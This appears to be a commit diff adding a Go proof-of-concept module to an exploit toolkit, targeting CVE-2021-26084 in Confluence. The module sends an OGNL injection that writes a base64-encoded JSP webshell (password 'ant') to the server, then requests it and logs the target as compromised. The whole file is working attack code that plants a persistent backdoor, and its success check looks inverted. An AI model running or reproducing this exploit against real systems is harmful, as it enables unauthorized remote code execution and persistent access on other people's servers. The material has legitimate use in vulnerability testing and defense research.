|
| 1 | +package poc |
| 2 | + |
| 3 | +import ( |
| 4 | + "github.com/SummerSec/SpringExploit/cmd/commons/utils" |
| 5 | + "github.com/fatih/structs" |
| 6 | + "github.com/imroc/req/v3" |
| 7 | + log "github.com/sirupsen/logrus" |
| 8 | + "net/url" |
| 9 | +) |
| 10 | + |
| 11 | +type CVE202126084 struct{} |
| 12 | + |
| 13 | +func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) { |
| 14 | + reqinfo := NewReqInfo() |
| 15 | + reqmap := structs.Map(reqinfo) |
| 16 | + u := target + "pages/doenterpagevariables.action" |
| 17 | + shell := "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZhLnV0aWwuemlwLioiJT4NCjwlIQ0KICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgew0KICAgIFUoQ2xhc3NMb2FkZXIgYykgew0KICAgICAgc3VwZXIoYyk7DQogICAgfQ0KICAgIHB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7DQogICAgICByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOw0KICAgIH0NCiAgfQ0KICBwdWJsaWMgYnl0ZVtdIGRlY29tcHJlc3MoYnl0ZVtdIGRhdGEpIHsNCiAgICBieXRlW10gb3V0cHV0ID0gbmV3IGJ5dGVbMF07DQogICAgSW5mbGF0ZXIgZGMgPSBuZXcgSW5mbGF0ZXIoKTsNCiAgICBkYy5yZXNldCgpOw0KICAgIGRjLnNldElucHV0KGRhdGEpOw0KICAgIEJ5dGVBcnJheU91dHB1dFN0cmVhbSBvID0gbmV3IEJ5dGVBcnJheU91dHB1dFN0cmVhbShkYXRhLmxlbmd0aCk7DQogICAgdHJ5IHsNCiAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVsxMDI0XTsNCiAgICAgIHdoaWxlICghZGMuZmluaXNoZWQoKSkgew0KICAgICAgICBpbnQgaSA9IGRjLmluZmxhdGUoYnVmKTsNCiAgICAgICAgby53cml0ZShidWYsIDAsIGkpOw0KICAgICAgfQ0KICAgICAgb3V0cHV0ID0gby50b0J5dGVBcnJheSgpOw0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgIG91dHB1dCA9IGRhdGE7DQogICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgfSBmaW5hbGx5IHsNCiAgICAgIHRyeSB7DQogICAgICAgICAgby5jbG9zZSgpOw0KICAgICAgfSBjYXRjaCAoSU9FeGNlcHRpb24gZSkgew0KICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGRjLmVuZCgpOw0KICAgIHJldHVybiBvdXRwdXQ7DQogIH0NCiAgcHVibGljIGJ5dGVbXSBiYXNlNjREZWNvZGUoU3RyaW5nIHN0cikgdGhyb3dzIEV4Y2VwdGlvbiB7DQogICAgdHJ5IHsNCiAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOw0KICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsNCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7DQogICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsNCiAgICAgIHJldHVybiAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpbmcuY2xhc3MpLmludm9rZShkZWNvZGVyLCBzdHIpOw0KICAgIH0NCiAgfQ0KJT4NCjwlDQogIFN0cmluZyBjbHMgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiYW50Iik7DQogIGlmIChjbHMgIT0gbnVsbCkgew0KICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGRlY29tcHJlc3MoYmFzZTY0RGVjb2RlKGNscykpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7DQogIH0NCiU+" |
| 18 | + // DoRunning.jsp |
| 19 | + data := "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var b64Shell=\\u0027" + url.QueryEscape(shell) + "\\u0027;var shell=new java.lang.String(java.util.Base64.getDecoder().decode(b64Shell));var f=new java.io.FileOutputStream(new java.io.File(\\u0027../confluence/testAnt.jsp\\u0027));f.write(shell.getBytes());f.close();\\u0022)}%2b\\u0027" |
| 20 | + reqmap["url"] = u |
| 21 | + reqmap["method"] = "POST" |
| 22 | + reqmap["body"] = data |
| 23 | + reqmap["headers"] = map[string]string{ |
| 24 | + "User-Agent": utils.GetUA(), |
| 25 | + "Content-Type": "application/x-www-form-urlencoded", |
| 26 | + } |
| 27 | + |
| 28 | + // 默认配置 |
| 29 | + reqmap["timeout"] = hashmap["Timeout"].(int) |
| 30 | + reqmap["retry"] = hashmap["Retry"].(int) |
| 31 | + reqmap["proxy"] = hashmap["Proxy"].(string) |
| 32 | + reqmap["mode"] = hashmap["Mode"].(int) |
| 33 | + |
| 34 | + file := hashmap["Out"].(string) |
| 35 | + utils.Send(reqmap) |
| 36 | + |
| 37 | + reqmap["url"] = target + "DoRnning.jsp" |
| 38 | + reqmap["body"] = "pass" |
| 39 | + |
| 40 | + resp := utils.Send(reqmap) |
| 41 | + |
| 42 | + if p.checkExp(resp, target, file) { |
| 43 | + context := target + " 存在CVE-2021-26084漏洞!" + target + "testAnt.jsp 蚁剑密码 ant " |
| 44 | + log.Info(context) |
| 45 | + p.saveResult(target, file) |
| 46 | + } |
| 47 | + |
| 48 | +} |
| 49 | + |
| 50 | +func (CVE202126084) init() { |
| 51 | + log.Debugf("CVE-2021-26084 init") |
| 52 | +} |
| 53 | + |
| 54 | +func (CVE202126084) saveResult(target string, file string) { |
| 55 | + utils.SaveToFile(target, file) |
| 56 | +} |
| 57 | + |
| 58 | +func (CVE202126084) checkExp(resp *req.Response, target string, file string) bool { |
| 59 | + if !resp.IsSuccess() { |
| 60 | + log.Debugf(resp.Dump()) |
| 61 | + return true |
| 62 | + } |
| 63 | + |
| 64 | + return false |
| 65 | + |
| 66 | +} |
0 commit comments